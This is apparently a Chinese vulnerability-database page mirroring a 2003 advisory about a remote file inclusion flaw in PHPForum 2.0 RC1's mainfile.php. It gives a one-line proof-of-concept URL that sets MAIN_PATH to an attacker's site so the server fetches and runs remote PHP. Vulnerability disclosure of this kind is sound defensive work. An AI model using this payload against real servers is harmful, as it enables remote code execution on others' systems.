PHPForum 2.0 RC1 – ‘Mainfile.php’ Remote File Inclusion

漏洞ID	1054025	漏洞类型
发布时间	2003-07-10	更新时间	2003-07-10
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	PHP	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/22887

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/8158/info

phpForum is prone to a vulnerability that may permit remote attackers to include and execute malicious PHP scripts. This could be exploited to execute malicious PHP commands in the context of the web server process.

http://www.example.com/forum/mainfile.php?MAIN_PATH=[attacker's site]

相关推荐: Pastel Accounting ACCUSER.DAT Obfuscation Weakness

Pastel Accounting ACCUSER.DAT Obfuscation Weakness 漏洞ID 1100753 漏洞类型 Design Error 发布时间 2003-03-03 更新时间 2003-03-03 CVE编号 N/A CNNVD-…